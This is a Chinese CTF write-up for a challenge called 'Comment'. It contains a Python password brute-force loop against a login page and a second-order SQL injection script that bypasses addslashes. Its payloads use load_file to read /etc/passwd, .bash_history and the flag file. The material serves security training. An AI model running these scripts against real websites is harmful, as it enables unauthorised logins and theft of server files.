# Comment

爆个密码

```
import requests

for i in range(100, 999):
    url = "http://f3caed00-9b73-4517-a2de-e172ccadda8e.node4.buuoj.cn/login.php"
    data = {
        "username": "zhangwei",
        "password": f"zhangwei{i}"
    }
    res = requests.post(url=url, data=data)
    if "429" in res.text:
        i = i - 1
    elif "error" not in res.text:
        print(i)
        print(res.text)
        break
```

git泄露

<figure><img src="https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2FTm2c8c63tyqsSGASFIdy%2F1.png?alt=media&#x26;token=16dbad9a-131f-4d56-a80d-d842844b8479" alt=""><figcaption></figcaption></figure>

发现这里的php代码不全，于是查看前面的版本的文件

<figure><img src="https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2FnvO6dAUqtHqADU0zk6yB%2F1.png?alt=media&#x26;token=e82ade85-ef45-41f0-982f-d1abb4b8db82" alt=""><figcaption></figcaption></figure>

存在二次注入，先Write后进行Comment，每次都进行了addslashes过滤，传入的`category=',content=user(),/*`后面的content进行闭合`*/#`。

<figure><img src="https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2Fap8k048N3dLWDonD2MJM%2F1.png?alt=media&#x26;token=057b0552-ffe9-49ba-bf40-30ad2141e9b6" alt=""><figcaption></figcaption></figure>

撸个脚本方便命令执行（直接改command参数即可）：

```
import requests
import reimport requests
import re


def write(url):
    command = "(select load_file('/etc/passwd'))"
    headers = {
        'Cookie': 'PHPSESSID=p5r4f36q04dj6v0r02mshrh737',
    }
    data = {
        "title": 1,
        "category": f"',content={command},/*",
        "content": 2
    }
    res = requests.post(url=url + "write_do.php?do=write", headers=headers, data=data)
    cid = re.findall("<input hidden name='id' value='(\d*)'>", res.text)[-1]
    comment(url, cid)


def comment(url, cid):
    headers = {
        'Cookie': 'PHPSESSID=p5r4f36q04dj6v0r02mshrh737',
    }
    data = {
        "content": "*/#",
        "bo_id": cid
    }
    res = requests.post(url=url + "write_do.php?do=comment", headers=headers, data=data)
    out = re.findall('</label><div class="col-sm-5"><p>([\s\S]*)</p></div></div>', res.text)[-1]
    print(out)


if __name__ == "__main__":
    url = "http://f3caed00-9b73-4517-a2de-e172ccadda8e.node4.buuoj.cn/"
    write(url)
```

查看历史记录

> 在终端敲过的命令，linux是有记录的，默认可以记录500条历史命令。这些命令保存在用户的宿主目录中的.bash\_history文件中。

```
    command = "(select load_file('/home/www/.bash_history'))"
```

大概流程：将tmp目录下的html.zip解压移动到/var/www/目录下，并且删掉目录下的.DS\_Store，然后开启Apache服务器，但是/tmp/html/下的.DS\_Store没有删除。

> 默认情况下，Mac OS X的[Finder](https://zh.wikipedia.org/wiki/Finder)程序会在进行存取的每个目录下创建.DS\_Store文件，甚至是在远程系统上的目录（例如通过[SMB](https://zh.wikipedia.org/wiki/%E4%BC%BA%E6%9C%8D%E5%99%A8%E8%A8%8A%E6%81%AF%E5%8D%80%E5%A1%8A)连接或者[蘋果文件協議](https://zh.wikipedia.org/wiki/%E8%8B%B9%E6%9E%9C%E6%96%87%E4%BB%B6%E5%8D%8F%E8%AE%AE)连接来共享的目录），并且甚至如果用户仅仅通过移动该目录的Finder窗口自定义了其显示。[\[3\]](https://zh.wikipedia.org/wiki/.DS_Store#cite_note-3) 这与既存的在先前版本的Finder中为了同样目的所使用的方式的系统形成了对比，先前的只会放置一些不可见文件于卷的根目录下（甚至在外部[文件系统](https://zh.wikipedia.org/wiki/%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F)上），并总是将整个驱动器的所有目录的设置与元数据存储在这类文件的单一集合中。

由于该文件为二进制文件，有不可见字符，用hex函数转换读取。

<figure><img src="https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2FIyui7v2AwyhEAlpeMmGB%2F1.png?alt=media&#x26;token=1b7d4174-968f-41b5-940e-d9da664adab0" alt=""><figcaption></figcaption></figure>

找到文件flag\_8946e1ff1ee3e40f.php

```
    command = "(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')))"
```

这题的动态flag只设置在了/var/www/html/目录下，/tmp/目录下面没有修改动态flag，其实不太符合题目逻辑，但是也不打紧。
